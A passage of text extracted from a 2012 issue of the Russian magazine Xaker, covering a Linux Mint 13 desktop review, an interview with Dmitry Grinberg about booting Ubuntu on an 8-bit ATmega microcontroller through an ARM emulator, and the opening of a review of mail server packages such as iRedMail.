UNIXOIDРабочий стол MATEНастройка параметров MDMСистема обновления 12-й версии апдейт не предлагает, поэтомуединственный доступный вариант — полная переустановка ОС.Возможны проблемы при загрузке на компьютерах с популярнымисегодня Wi-Fi-чипами Broadcom b43, в этом случае следуетвыбрать режим совместимости или указать дополнительныйпараметр «b43.blacklist=yes», не забыв прописать его затем в настройкахGRUB и установить все драйверы. Мастер установкимало изменился по сравнению с предыдущими релизами, все шагилогичны и понятны. На первом можно выбрать русский язык,и по ходу будут загружены все необходимые пакеты для локализацииинтерфейса, в том числе для браузера и LibreOffice (в предыдущейверсии их приходилось доустанавливать самостоятельно).Диск можно разметить автоматически или указать точки монтированиявручную. Далее установка основной системы происходитв фоне, ускоряя процесс.В качестве менеджера входа в систему используется MDM, развиваемыйв рамках проекта MATE и представляющий собой форкGDM 2.20. При помощи графической утилиты mdmsetup можнонастроить всевозможные параметры входа.РАБОЧИЙ СТОЛ CINNAMONОформление и принцип использования в обоих окруженияхочень похожи, и на первый взгляд отличить их невозможно.Пользователю предлагается рабочий стол с меню и панелью,расположенными внизу экрана, и ярлыками «Компьютер» и «Домашнийкаталог». Правда, ярлыки на рабочем столе Cinnamon(в отличие от MATE) после установки остались непереведенными.Вообще говоря, все выглядит так, как это организованов Windows, к которой привыкли многие пользователи. Дажесетевые ресурсы Windows открываются аналогично, и субъективнопоиск других компов в Maya происходит быстрее. Есливставить флешку в USB-разъем или диск в привод, ярлык сразуже появится на рабочем столе и в окне файлового менеджера.В Cinnamon, чтобы создать ярлык на рабочем столе или панели,достаточно воспользоваться меню или перетащить значокв нужное место. Однако какой-либо настройки расположенияапплетов на панели не предусмотрено: например, добавить ихлегко, а вот чтобы убрать или изменить расположение, придетсяуже повозиться. Кроме того, неудобно, что по мере открытияприложений значки апплетов сдвигаются вправо, а не остаютсяна месте возле меню запуска.Изменился внешний вид и поведение меню запуска приложенийmintMenu. В предыдущих версиях это меню содержалостроку поиска, возможность выбора приложений по частотеиспользования и назначению, индикатор заполнения корзиныи прочие удобства. Теперь ему придали классический внешнийвид без каких-либо дополнений в функциональности.Единственное, что бросилось в глаза, это подменю «Переход»,в котором можно не только найти разделы локального диска, нои быстро подключиться к удаленной системе (SSH, FTP, WebDAVи Windows). В подменю с логином пользователя можно настроитьдоступ к сетевым учетным записям, которые затем можно использоватьпри работе с e-mail, документами и тому подобным.В настоящее время там настраиваются Windows Live и Googleаккаунты. В остальном все на своих местах, немного побродивпо меню, ты быстро освоишься.К релизу представлены две обновленные визуальные темыMint-X и Mint-Z, а также улучшена поддержка GTK3+ в элементахоформления. Расширено число фоновых изображений — в поставкепочти два десятка обоев, которые можно настроитьчерез «Параметры системы». Установка новых тем, расположениеи поведение панели, эффекты, апплеты, расширения,шрифты и прочее — все это настраивается в менеджере настройкиCinnamon (cinnamon-settings.py), заменившем собойmintDesktop. По умолчанию с Cinnamon не поставляется ниодно расширение, поэтому соответствующая вкладка пуста. Всетемы, апплеты и расширения для Cinnamon доступны по адресуcinnamon-spices.linuxmint.com. В стандартном репозитории Mintидут только базовые темы, для остальных необходимо подключитьсторонние PPA. Например:$ sudo add-apt-repository ppa:bimsebasse/cinnamonextras$ sudo apt-get updateОСНОВНЫЕ КОМПОНЕНТЫLINUX MINT 13Linux 3.2.0Udev 175GCC 4.6.3X.Org 1.11.4MATE 1.2Cinnamon 1.4LibreOffice 3.5.3.2VLC 2.0.1FileRoller 3.4.1Evince 3.4.0Totem 3.0.1WWW• Сайт проектаLinux Mint —linuxmint.com;• инструкция попересборке образаLinux Mint находитсяпо адресуgoo.gl/BCeau;• все темы, апплетыи расширения дляCinnamon доступныпо адресу cinnamonspices.linuxmint.com.116ХАКЕР 08 /163/ 2012


Покорение вершиныINFOMONEY, MONEY, MONEYПроект Linux Mint финансируется за счет пожертвованийи спонсорской помощи. Кроме того, разработчики участвуютв нескольких партнерских программах, получая доход от рекламы;в частности, такой договор заключен с несколькими поисковымисистемами (Yahoo, DuckDuckGo и Amazon). Поисковый сервисв браузере устанавливается в зависимости от страны проживания.Для русскоязычных пользователей это Yandex.Теперь команда поиска покажет несколько новых тем:$ sudo apt-cache search cinnamon-themeВыбираем нужные и ставим. Впрочем, ручная установка такжене вызывает сложностей, нужно лишь скачать и распаковатьархив в каталог ~/.themes (темы), ~/.local/share/cinnamon/applets(апплеты) и /usr/share/cinnamon/extensions (расширения). Послекопирования следует перезапустить cinnamon-settings, новыеплагины будут показаны в числе доступных.ПРИЛОЖЕНИЯ LINUX MINTКроме описанных, в дистрибутиве найдем еще ряд оригинальныхприложений, упрощающих настройку и работу в системеначинающих пользователей. Наверное, наиболее известенменеджер программ (mintInstall), используемый для установкии обновления приложений. Открыв его, пользователь получаетсписок всех доступных приложений, разбитых на несколькокатегорий и подкатегорий, доступно описание (некоторые нарусском), рейтинг и скрин экрана. Он просто выбирает подходящуюпо функциям программу и ставит ее нажатием однойкнопки. Весь дальнейший процесс происходит в фоне. Доступенпоиск кратких (по умолчанию) и подробных описаний пакетов.Чтобы оставлять комментарии и рейтинг, необходимо зарегистрироватьсяв сообществе Linux Mint. При этом Центр приложенийUbuntu (Ubuntu Software Center) только в последнем релизесмог догнать mintInstall по функциональности и, может быть,даже его превзошел за счет большего числа категорий ПО и возможностипокупки программ, но взамен получился несколькоперегруженным.Для установки программ также доступен и Synaptic, но, признаться,за пару лет использования ОС я его ни разу не открывал,если не устраивал mintInstall — пользовался консолью.В Cinnamon пропал значок, извещающий о доступных обновлениях(в MATE он есть), поэтому единственный способ вызватьменеджер обновлений mintUpdate — это обратиться к меню.После запуска mintUpdate подключается к репозиториям, проверяетналичие новых версий системных компонентов и программи предлагает их для установки. В Linux Mint используется большееколичество репозиториев, чем в Ubuntu, некоторые из них могутнарушить работоспособность программ. Чтобы избежать этого, всепакеты разделены на пять уровней, безопасными для установкиявляются пакеты 1–3-го уровня. Обновления 4-го и 5-го уровнейпо умолчанию в mintUpdate не отображаются.UBUNTU 12.04Дистрибутив Ubuntu 12.04 «Precise Pangolin»анонсирован в конце апреля 2012 года и являетсяверсией с долгосрочной (LTS) поддержкойна пять лет как для сервера, так и для десктопа(в прошлых LTS десктоп-версия сопровождаласьлишь три года). При этом первые два годабудут выпускаться обновления, обеспечивающиеподдержку нового оборудования (в составепромежуточных релизов), оставшиесятри года — только исправления критическихошибок и проблем безопасности. В 12.04 представленановая версия пользовательскойоболочки Unity 5, получившая систему быстроговвода команд Head-Up Display (HUD), новое поведениеменю (оно остается видимым некотороевремя после запуска приложений), поддержкубыстрого вызова типовых функций Nautilus.Кроме того, обновился Software Center, вернулсяRhythmbox (вместо Banshee), в который добавленаподдержка сервиса UbuntuOne Music Store.Также повышено удобство работы с облачнымхранилищем Ubuntu One — новая панель, возможностьдобавить произвольные каталоги длясинхронизации, поддержка прокси.Релиз построен на ядре 3.2.14, в котором измененряд установок: активирован режим энергосбереженияв DRM-драйвере i915, добавленаподдержка механизма ограничения доступак системным вызовам для приложений seccompfilter, патчи для определения аудиоразъемов(позволяют выставлять разный уровень громкости),драйверы для тачпадов ALPS и многоедругое. Версия для amd64 поставляется в видеединого пакета, без разделения на -genericи -server. Серьезные усилия были потрачены наупрощение развертывания большого количествасистем, в частности превращения Ubuntu12.04 в платформу для облачных систем на базеOpenstack. Система инициализации Upstartобновлена до версии 1.5.Доступен Ubuntu 12.04 в редакциях длядесктопов, серверов и cloud-окружений. Длязагрузки предлагаются CD- (696 Мб) и DVD-(1,6 Гб) образы для архитектур amd64 и i386,а также CD-сборки для ARM-систем ToshibaAC100/Dynabook AZ, Freescale i.MX5x, TexasInstruments OMAP3 и OMAP4. Одновременновыпущены релизы смежных проектов: Kubuntu(KDE 4.8), Xubuntu (Xfce 4.8), Lubuntu (LXDE),Mythbuntu, Edubuntu (с подборкой обучающегоПО) и Ubuntu Studio (для обработки мультимедиаинформации).• Linux Mint 13позиционируетсякак релизс длительнымсроком поддержки,обновления будутвыпускатьсяв течение пяти лет,до апреля 2017 года.• Девиз проекта«From freedomcame elegance»,что переводитсякак «Свобода,приносящаяэлегантность»,полностьюсоответствуетподходуразработчиков.• Linux Mintориентированисключительнона пользователя,версий для сервераи платформ,отличных от x86/x64,не предусмотрено.• С каждымрелизом выходитверсия без кодеков,предназначеннаядля пользователейиз стран со строгойлицензионнойполитикой.НАСТРОЙКИ РАСПОЛОЖЕНИЯ АППЛЕТОВ НА ПАНЕЛИ НЕ ПРЕДУ-СМОТРЕНО: НАПРИМЕР, ДОБАВИТЬ ИХ ЛЕГКО, А ВОТ ЧТОБЫ УБРАТЬИЛИ ИЗМЕНИТЬ РАСПОЛОЖЕНИЕ, ПРИДЕТСЯ УЖЕ ПОВОЗИТЬСЯХАКЕР 08 /163/ 2012 117


UNIXOIDВ mintUpdate все приложения разбиты на пять уровнейМенеджер установки программ mintInstallПри использовании рабочего стола MATE устанавливаетсяи mintDesktop — небольшая программка, позволяющая настроитьвнешний вид рабочего стола: значки, выводимые по умолчанию,внешний вид и поведение окон и интерфейса, показ цитат в терминале.На Cinnamon эти настройки никакого воздействия не оказывают(кроме вывода цитат).При помощи mintBackup можно одним кликом создать резервнуюкопию файлов и установленных программ и затем так же простовосстановить. Скрипт mintWifi позволяет настроить драйверыдля Wi-Fi-карт, для чего достаточно выполнить в консоли (требуетсяподключение к интернету):$ sudo mintwifiМенеджер загрузок mintUpload — небольшая программа, способнаязагружать файлы на FTP/SFTP/SCP-сервер одним щелчкоммышки для обмена с другими пользователями. Блокировщик доменовmintNanny — простенькая утилита, позволяющая заблокироватьдоступ к определенному домену. Вводим его название в окнепрограммы, после чего сайт будет прописан в /etc/hosts:0.0.0.0 odnoklassniki.ru # blocked by mintNannyТакже предлагается mintWelcome, который встречает пользователяпри регистрации в системе и позволяет быстро получить доступк основной информации. В репозитории находится инструментдля пересборки DVD — mintconstructor.ЗАКЛЮЧЕНИЕПриятно осознавать, что разработчики Linux Mint не изменилисвоим принципам, дистрибутив остался таким же простым и понятным.Единственный недочет — рабочая среда Cinnamon еще покане сильно радует гибкостью в настройках, хотя работает вполнестабильно и не грузит даже относительно маломощные системы. zMATE VS CINNAMONВыход GNOME 3, в котором классическийрабочий стол был заменен новым интерфейсомна основе GNOME Shell, был принят сообществомнеоднозначно и подвергся значительнойкритике. Альтернатив не было, поэтомупрактически все дистрибутивы вскоре представилисвою версию с этим рабочим столом,хотя пользователи призывали продолжитьразвитие уже заброшенного и привычногоGNOME 2. В результате появилось два проекта.Первый — MATE (mate-desktop.org) — былоснован разработчиками Arch Linux и являетсяответвлением GNOME 2.32. Чтобы избежатьконфликтов с GNOME, которые могут возникнутьпри параллельной установке, все приложенияпереименованы. Например, файловыйменеджер Nautilus получил имя Caja. Попутнозаменены все значки и обои, ведется работапо переносу Gtk2/3-тем. В настоящее время доступенрелиз 1.2, который объявлен стабильным,и все найденные недоработки и конфликты,по заверениям разработчиков, устранены.Хотя некоторые компоненты (например, работас Bluetooth) пока не портированы и работаютнемного не так, как в GNOME 2. Есть идеипо переходу на GTK3, но они пока остаются нереализованными.Эксперименты с «Mint GNOME ShellExtensions», с которым вышел Linux Mint 12,не оправдали ожиданий, а последующиеобновления GNOME Shell показали, что MGSE —это тупиковая ветвь и его придется все времядопиливать. В результате в январе 2012 годабыл анонсирован форк — Cinnamon (cinnamon.linuxmint.com), полностью совместимый с новымгномом, но развиваемый и контролируемыйразработчиками Linux Mint. Внешний видрабочего стола — традиционный, с классическойпанелью и меню запуска приложенийвнизу. В качестве движка используется форкоконного менеджера Mutter — Muffin. Уже доступныразличные эффекты рабочего стола,включая анимацию и трансформацию, апплеты,темы, расширения и многие функции, реализованныев GNOME Shell.Считается, что в настоящее время MATE обеспечиваетбольшую стабильность, в то времякак Cinnamon активно развивается и позиционируетсякак экспериментальный проект. Хотяпоследняя версия 1.4 уже вполне подчищенаи работает стабильно. Также MATE нетребователенк системным ресурсам и может работатьна системах без современных 3D-видеокарт,а для Cinnamon необходимо наличие видеодрайверовс поддержкой OpenGL. Обе средыдоступны в репозиториях практически всехпопулярных дистрибутивов Linux.118ХАКЕР 08 /163/ 2012


ЭТИ ТРИ БУКВЫ СТАЛИ СИМВОЛОМ ОСОБОГО СТИЛЯ И ВЫСОЧАЙШЕГОКАЧЕСТВА ДЛЯ АВТОМОБИЛЬНЫХ ЭНТУЗИАСТОВ СЕВЕРНОЙ АМЕРИКИ.СЕГОДНЯ МЫ ПОСТАРАЕМСЯ ПРИОТКРЫТЬ ЗАВЕСУ ТАЙНЫ И ПОНЯТЬВ ЧЕМ ЖЕ УСПЕХ ЭТИХ КОЛЕСНЫХ ДИСКОВ.1 2Во-первых, это серьезный контроль качествавыпускаемой продукции. Каждый диск проходитнесколько уровней проверки по различным параметрам.Новейшее технологическое оборудованиена заводах TSW дает гарантию того, что ни одиндефект не останется незамеченным. Дело в том,что к производственному процессу здесь относятсятакже трепетно, как и к последующей стадии проверкиизделий. Все это внимание и забота доходятдо счастливого покупателя с каждым колеснымдиском TSW.Во-вторых, это компания, которая думает нетолько о технической составляющей, но и эмоциональной.А потому каждый год на рынке появляютсясразу несколько моделей первоклассныхколесных дисков TSW. Наряду с универсальнымидисками, которые подходят на любой автомобильиностранного производства (при условии правильноподобранных посадочных размеров), компаниявыпускает специальные линейки для определенныхмарок автомобилей. Тем самым усилиядизайнеров направлены не на беспорядочнуютолпу жаждущих хлеба и зрелищ (как известно,всем сразу не угодишь), а на вполне определенныхклиентов с конкретными запросами и пожеланиями.Отсюда безмерная благодарность тех, ктоуже сделал свой выбор в пользу TSW, и растущийинтерес новой аудитории.РОЗНИЧНЫЕ МАГАЗИНЫ(ЗАО «Колесный ряд»)Москваул. Электродная, д. 14/2(495) 231-4383ул. Островитянова, вл. 29(499) 724-8044Санкт ПетербургЕкатерининский пр-т, д. 1(812) 603-2610ОПТОВЫЙ ОТДЕЛМоскваул. Электродная, д. 10, стр. 32,(495) 231-2363www.kolrad.ruИНТЕРНЕТ МАГАЗИНЫwww.allrad.ru(495)730-2927/368-8000/672-7226www.prokola.net(812)603-2610/603-2611Реклама


UNIXOIDЕвгений Зобнин (execbit.ru)Когданевозможноевозможно0120ХАКЕР 08 /163/ 2012


Когда невозможное возможноИНТЕРВЬЮ С ДМИТРИЕМГРИНБЕРГОМ, КОТОРОМУУДАЛОСЬ ЗАПУСТИТЬUBUNTU LINUX НА 8-БИТНОММИКРОКОНТРОЛЛЕРЕВ конце мая весь интернет облетела новость о создании самогомедленного компьютера под управлением Ubuntu Linux. Этимкомпьютером оказался 8-разрядный микроконтроллер ATmega1284p,оснащенный 256 Кб оперативной памяти и лишенныйблока управления памятью MMU. Авторство проекта принадлежитДмитрию Гринбергу, молодому программисту из России, которыйпроживает в США и работает на компанию Google.СИНОПСИССвой опыт запуска Ubuntu Linux на микроконтроллереДмитрий подробно описал в блоге(goo.gl/CM3bJ). Как оказалось, чтобы осуществитьзадуманное, ему пришлось применитьнесколько весьма изощренных трюков, напримернаписать программные контроллеры дляподключения дополнительного модуля памятиSIMM на 16 Мб и управления SD-картой на 1 Гб.Однако самое интересное скрывалось глубоковнутри. Это полноценный эмулятор архитектурыARMv5TE, написанный с нуля специальнодля микроконтроллера и позволяющий запуститьUbuntu 9.04.Производительность эмулятора оказаласьв районе 6,5 кГц, при производительностиреального процессора ATmega1284p в 24МГц (разгон со штатных 20 МГц), что, по сути,означало: это самый медленный компьютер,способный запустить Linux. Это же подтвердили тестовый запуск дистрибутива Ubuntu, загрузкакоторого продолжалась более четырехчасов, а среднее время ответа стандартных командтерминала составляло примерно минуту.Такое достижение не могло пройти мимонашего журнала, и мы связались с Дмитрием,чтобы подробнее узнать о его проекте, а такжео нем самом, его российских корнях, работев Google, других проектах и увлечениях.QAДмитрий, расскажи немного о себе. Гдесейчас живешь, где работаешь?Живу около Сан-Франциско, в СиликоновойДолине. В свое время работалв VMware, Kno, Lab126 (Amazon), теперьработаю в Google. Писал много программ наPalmOS (я был довольно известен среди«палмоводов»), а теперь пишу на Androidи скоро займусь iOS. В России ходил в школу№46 в Астрахани (ее потом переименовалив Гимназию №4). Уже здесь окончил УниверситетИллинойса (University of Illinois) в Urbana-Champaign.QAТы рос в России?Я родился в Таганроге и жил в Астраханидо 1999-го. Потом родители переехалив Америку, и я с ними. Отец очень рано началучить меня программировать. Не пускал гулятьи играть в футбол с друзьями, пока я не прочтуочередную главу книги о языке программированияСи.QAКогда ты начал интересоватьсякомпьютерами?Лет в шесть я увидел статью в каком-тостаром журнале из библиотеки,с описанием программы на бейсике, котораяугадывала животного, задавая нескольковопросов типа «да/нет». Когда я попросилу папы разрешения использовать компьютер,чтобы написать ее, он сказал, что бейсик —это ерунда, и дал книгу о языке Си :). С тех портак на нем и сижу. Выучил много другихязыков, но ничего лучше Си пока не нашел.QAТвой отец тоже программист?Да, тоже. И мама в России былапрограммистом. Почти вся семья такая,кроме моей сестры. Папа интересуетсятелефонией и работает с VoIP-технологиями.Меня это не очень привлекает, поэтому в темахработы мы пересекаемся редко.Как появилась идея запустить Linux наQ микроконтроллере? Сколько времени тына это потратил?Давно хотелось доказать, что такоеA возможно. Эмулятор я писал в свободноевремя почти шесть месяцев. Потом забросилпроект — сменил работу (ушел из Amazonв Google) и готовился к экзамену на правапилота, свободного времени было меньше.Решил закончить, когда сдал экзамени освоился на работе. Раньше с AVR я неработал, поэтому недели две ушло только навыяснение причин, по которым AVR-GCCгенерирует такой плохой код. В конце концовпонял, что AVR-GCC по-другому просто неумеет :). Два дня разбирался с RAM, она почтизаработала, но иногда один бит менялся сам посебе. Сдавшись, я сделал новою плату, с болеекороткими и прямыми проводами от AVRк RAM, и все магическим образом заработалобез каких-либо проблем!После окончания работы над эмуляторомстолкнулся с еще одной проблемой. В AVR-GCCint был представлен 16-битным числом, а всеконстанты в Си именно этого типа. Пришлосьпереписывать часть эмулятора. Когда заработалэмулятор, появилась другая проблема:загрузчик работал корректно, но ядро падало.Долго разбирался, в чем дело. Оказалось, чтов отличие от обычных архитектур, в которыхсдвиг 32-битного числа вправо на 33 бита давалрезультат 0, AVR-GCC просто сдвигал на 1 битвправо. Как оказалось, стандарт Си такое допускает.Пришлось проверять размер сдвигови вновь исправлять код. После этого все заработало.По крайней мере, я так думал. Делов том, что я не знал, сколько будет продолжатьсязагрузка ядра, и не имел возможности понять,зависла она или идет корректно. Наконец, через5–6 чашек кофе я увидел фразу «kernel is up».В своем блоге ты упомянул, что приQ разработке эмулятора были примененынекоторые техники оптимизации. Расскажиоб этом.В процессе работы над DGOS Дмитрий успел портироватьAndroid на PalmХАКЕР 08 /163/ 2012 121


UNIXOIDПишем код на Си. Натравливаем наA результат дизассемблер, проверяем, чтокомпилятор наваял. Пишем на Си по-другому,проверяем. Если все равно не то, переписываемфункцию на ассемблере. И так для каждойважной функции.QAПочему для эмулирования былавыбрана архитектура ARM?Я с ней очень хорошо знаком: я работалс ARM, когда писал приложения дляPalmOS, почти вся моя работа также связанас этой архитектурой. В любом случае нужнобыло что-то эмулировать, и я выбрал ARM.Можно было сделать x86 или MIPS. Но х86 я ненавижу,а с MMU в MIPS не так хорошо знаком.PALMOSДмитрий Гринберг хорошо известен в кругах владельцев карманных компьютеров на базе PalmOS.Наиболее выдающейся его разработкой является практически полноценная и законченнаяоперационная система для КПК DGOS (dgosblog.blogspot.com) с поддержкой многозадачности,модульной архитектурой, совместимостью со стандартом POSIX и способностью загружатьсяпрямо из PlamOS. Также его перу принадлежат: PalmOS-драйвер PowerSDHC, позволяющийиспользовать в наладонниках современные SDHC карты памяти большой емкости; приложениедля защиты данных BluePill, управляемое СМС-сообщениями, с помощью которых можно удаленнопроизвести форматирование карты памяти, сброс до заводских настроек или заблокироватьустройство; приложение для разгона и управления параметрами энергосбережения процессораwarpSpeed и многие другие. Их можно найти и купить на сайте palmpowerups.com.QAПочему Ubuntu, а не что-то из разрядаEmbedded? Proof of concept?Цель была доказать, что полная система,созданная для работы на большихкомпьютерах, заработает и здесь, а Ubuntuзнакома мне ближе всего. Теоретическизапустить можно и любую другую систему.Некоторые люди, сделавшие эмуляторы помоим инструкциям, уже успешно запустилив них CentOS.QMMU)AОбязательно ли было эмулироватьMMU? (uClinux, по идее, работает безТеоретически, конечно, можно былосделать no-MMU, но опять-таки хотелосьиспользовать не измененную копию системыдля «больших» компьютеров. Мой эмуляторимеет модульную архитектуру, поэтомуподдержку MMU легко убрать. В результате онстанет раза в два-три быстрее.Микроконтроллер ATmega 1284QAПочему ты остановил выбор именно наэтом микроконтроллере?Нужен был контроллер, для которогоесть хоть какой-то компилятор Си и какминимум 8 Кб памяти. Очень хотелось8-битный, а не 16- или 32-битный (просто радиприкола). Я поискал и в итоге выделил двухфиналистов: AVR и PIC18. Компилятор Си дляPIC18 не смог осилить мой код (он умирал безошибок), поэтому выбор был сделан за меня.С тех пор я успешно запустил эмулятор наdsPIC33 (в двадцать раз быстрее AVR), а одинчеловек запустил его на PIC32.Ты сказал, что лучше языка, чем Си, неQ нашел. Чем он тебя так привлекает?Простотой и прямолинейностью либо чем-тодругим? Почему не C++?Чем мне нравится Си — в нем оченьA легко понять, что будет делать процес-сор. Если ты знаешь, как работает процессор,то легко напишешь более эффективный код.Например, на x86 «for(char i = 0; i < someVal;i++)» и «for(int i = 0; i < someVal; i++)» будутработать с одинаковой скоростью, а на ARMнет; ARM не умеет так хорошо работатьс байтами, и вариант 1 будет медленнее. Незная этих тонкостей, программист можетпросто подумать, что 8 бит ему вполне хватит,и будет использовать «char». Так и получаютсямедленные программы.C++ тоже неплохой язык, но я не очень еголюблю. Используя C++, легко написать код,который будет работать непонятно когда (например,конструкторы глобальных объектов).Конечно, можно писать осторожней и избегатьтаких непоняток, но я предпочитаю просто неиспользовать C++.QAТы сказал, что сейчас работаешьв Google. Чем ты там занимаешься?Работаю в команде Android над новымиверсиями системы Android и над новымипродуктами экосистемы Android. Скороконференция Google I/O. Я буду выступать тамс лекцией о новой версии AccessoryDevelopment Kit. Все лекции будут доступныдля просмотра на google.com. Смотрите. :)Расскажи подробнее об AccessoryQ Development Kit. Для каких целей ониспользуется?Accessory Development Kit — это такаяA штука, используя которую к Androidтелефонамможно подцеплять разныемикроконтроллеры, сенсоры и так далее.В прошлом году вышла версия 1 ADK, и с нейлюди сделали много интересных вещей: goo.gl/Ztsfo, goo.gl/OG0LM. Над версией 1 я неработал. Для версии 2 я писал весь код. И таммного нового и интересного. Пока деталирассказать не могу, но все будет показано наконференции Google I/O в конце июня.О работе в Google рассказывают многоQ интересного: потрясающие условияработы, невероятные зоны отдыха, свободноевремя на занятие своими проектами. Это непреувеличение?122ХАКЕР 08 /163/ 2012


Когда невозможное возможноМикроконтроллер в соединении с модулем памяти и SD-слотомДмитрий Гринберг собственной персонойЭто так, и даже больше. У GoogleA примерно тридцать ресторанов с любымитипами еды. Хочешь суши? Ресторан в здании44. Хочешь бургер? Здание 45. Мексиканскаяеда? 41. Массаж всем по заказу. У Google своиавтобусы (их где-то тридцать), и можно наработу и домой ездить на них. Например, отмоего дома до ближайшей остановкиGoogle-автобуса всего четыре квартала. Самоеинтересное, что разрешают приводить наработу домашних животных, поэтому вокругвсегда куча собак. И для них тоже есть гдеподкрепиться. Ну и самое главное — люди. Ямогу честно сказать, что Google — это первоеместо работы, где я не чувствую, что 50–80%людей вокруг меня — идиоты. Это приятно.QAРасскажи, чем ты занимался в Lab126,VMware, Kno.В принципе, занимался почти всегдаодним и тем же. Делаю электронныепродукты с начала и до конца. Начинаюс выбора компонентов, занимаюсь интервью,чтобы набрать хорошую команду программистов,пишу драйверы и тестовую программудля массовой продажи, ну и так далее. То естьделаю все :). Очень интересная работа, но,к сожалению, всегда все суперсекретно, дажеродителям и друзьям нельзя рассказывать.Какие продукты были созданы подQ твоим управлением? О которых можноговорить. :)Amazon еще не выпустили, поэтому неA могу пока. Kno: goo.gl/z5mH9. Продуктбыл выпущен, но потом Intel дала Kno 30миллионов и «попросила» свернуть проект.На этом все закончилось. В VMware я сделалтехнологию VAssert, а также работал в командеиз четырех человек, создавшей технологиюReplay Debugging.Расскажи подробнее о Kno. В чем былQ смысл их проекта? Ноутбуктрансформер,в котором вместо клавишполноценный сенсорный экран? Электроннаякнига, дизайн которой максимально приближенк обычной книге?Смысл Kno был простой: заменитьA учебники одним продуктом, на которомможно было бы покупать сами учебникив электронном формате. У него было два14-дюймовых экрана, которые отзывалисьи на пальцы, и на ручку, то есть на нем можнобыло писать. Работал под управлением Linux(не Android). Продукт был готов, и где-то 100экземпляров было отослано покупателям,но тут Intel заплатила Kno за то, чтобы выпускпродукта отменили.Можешь сказать пару слов про своюQ мобильную ОС DGOS? Почему ты занялсяее написанием? Какие у нее преимуществаи возможности?Обо всем можно прочитать в блоге:A dgosblog.blogspot.com. Смысл был датькарманным компьютерам на базе PalmOSновую жизнь. Много было сделано и многоработало, но не хватило времени, а потом,конечно, все Palm’ы повыкидывали, и — собственно,продолжение известно.Не было ли мыслей опубликовать кодQ DGOS под какой-нибудь свободнойлицензией?Была идея, и до сих пор есть, только покаA я не уверен, что это кому-то надо. Простоуже поздно. Но в принципе, могу и выпустить.Я это предлагал даже.Сейчас в свободное время занимаешьсяQ какими-нибудь интересными проектаминаподобие DGOS?Отдыхаю. Скоро очередной экзамен наA следующий этап прав пилота. Послеэтого, думаю, займусь чем-нибудь типа meshnetworking. Мне эта тема интересна.Зачем тебе права пилота? Голубая мечтаQ детства или очередное увлечение?И то и другое, конечно. Кто не мечталA полетать? Однажды (где-то два годаназад) мне надоело мечтать, и я пошели узнал, как начать. Права получил примерночерез год. Но в пилотских правах естьградации, например, мне можно пилотироватьтолько одномоторные самолеты весомменьше 5700 кг. Но это пока… на следующемэтапе можно будет и больше.Вообще, это отличное хобби и полезноетоже. Расслабляет так же, как и езда поавтотрассе. При этом в небе нет полицейских,которые хотят снять штраф за превышениескорости.QAКакие еще у тебя есть увлечения?В свободное от полетов и работы времяпишу стихи и музыку. Иногда рисую.Еще я делаю радиоуправляемые самолеты, нуи собираю большую коллекцию штрафов запревышение скорости. К сожалению, натрассах тут максимально разрешено 105 км/ч,а мой «Корвет» может 300. Вот в этоми состоит мое несогласие с полицией. :)Можешь сказать пару напутственныхQ слов нашим читателям? Как бытьтаким же продуктивным и успешным, какты? :)AНикогда не сдаваться и принимать смехостальных за зависть. Чем меньше васпонимают, тем радикальнее ваши идеи. Ну и,конечно, меньше хотеть и больше делать. zХАКЕР 08 /163/ 2012 123


SYN/ACKСергей Яремчук (grinder@synack.ru)Новая породаПОЧТАРЕЙWARNINGПосле первогозапуска Communi-Gate Pro необходимов течение десятиминут подключитьсяк порту 8010и задать парольадминистратора.ОБЗОРПОПУЛЯРНЫХРЕШЕНИЙДЛЯ БЫСТРОГОРАЗВЕРТЫВАНИЯПОЧТОВОГОСЕРВЕРАСегодня, когда электроннаяпочта является основойдля бизнес-процессов,компаниям требуется надежнаяи высокопроизводительнаяпочтовая система, котораябы защищала от вирусови спама, умела авторизовыватьпользователей, шифроватьпередаваемый трафик и предлагаламножество удобных функций.Представленные решенияпозволяют достичь такогорезультата, затратив минимумусилий.124ХАКЕР 08 /163/ 2012


Новая порода почтарейiRedMailНАЗВАНИЕ: iRedMailСАЙТ ПРОЕКТА: iredmail.orgЛИЦЕНЗИЯ: GNU GPLПЛАТФОРМА: *nixПочтовые серверы на *nix подкупают своейоткрытостью, производительностью и защищенностью,но для новичка развертываниес нуля и последующее сопровождениеможет превратиться в настоящий кошмар.Проект iRedMail ставит своей целью решитьэту проблему. По сути, данная разработкапредставляет собой набор скриптов и готовыхконфигов, упрощающих процесс развертыванияи первоначальной настройки почтовогосервера на базе Postfix/Dovecot с поддержкойпротоколов SMTP, POP3 и IMAP. После запускаскрипт сам скачает и установит нужныепакеты, создаст первый виртуальный домен(задав минимум вопросов) с администратороми пользователем. Сам процесс развертываниязанимает минут десять, после чего уже можнобудет отправлять и получать почту. Читатьдокументацию и копаться в настройках непридется, не потребуется и специфическихзнаний *nix. Учетные записи можно сохранятьв OpenLDAP или MySQL, это выбираетсяна этапе установки. Далее можно создаватьлюбое количество доменов, почтовых ящикови алиасов, то есть ограничений никаких нет.Для защиты почты от вирусов и спама будутавтоматически установлены SpamAssassinи ClamAV, а также инструменты, обеспечивающиеподдержку технологий SPF (SenderPolicy Framework), DKIM (DomainKeys IdentifiedMail), HPR (HELO Randomization Prevention),Spamtrap и белые, черные, серые списки. Дляблокировки попыток перебора пароля ставитсяiptables Fail2ban. Проект предлагает своюразработку iRedAPD (Access Policy Delegation),позволяющую управлять политиками Postfix,делегируя полномочия между пользователями.Управление производится при помощивеб-интерфейса Roundcube WebMail, параллельнобудут установлены средства управлениясервисами phpLDAPadmin, PostfixAdmin,phpMyAdmin и анализатор логов AWStats дляпросмотра статистики. Доступен также локализованныйинтерфейс администратора собственнойразработки — iRedAdmin, в двух версиях:бесплатной Open Source и коммерческойiRedAdmin-Pro. Первая позволяет управлятьДобавление учетной записи в iRedMailтолько учетными записями и доменами, втораярешает все вопросы по администрированиюпочтовой системы. Все компоненты ставятсяна один «чистый» сервер; если уже есть работающийMySQL, к нему можно подключиться,только если выполнить необходимые настройкивручную (требует некоторого опыта).Поддерживается установка на i386/x86_64версии Red Hat Enterprise Linux, CentOS,Gentoo Linux, Debian, Ubuntu, openSUSE и Open/FreeBSD. На сайте проекта доступно несколькоруководств, помогающих быстро сориентироваться.IndiMailНАЗВАНИЕ: IndiMailСАЙТ ПРОЕКТА: indimail.sf.netЛИЦЕНЗИЯ: GNU GPLПЛАТФОРМА: *nixПлатформа обмена сообщениями по протоколамSMTP, IMAP, POP3, поддерживающаяQMQP, QMTP, DKIM и BATV (Bounce AddressTag Validation) и проверку почты на спами вирусы. Базируется на нескольких OpenSource решениях: 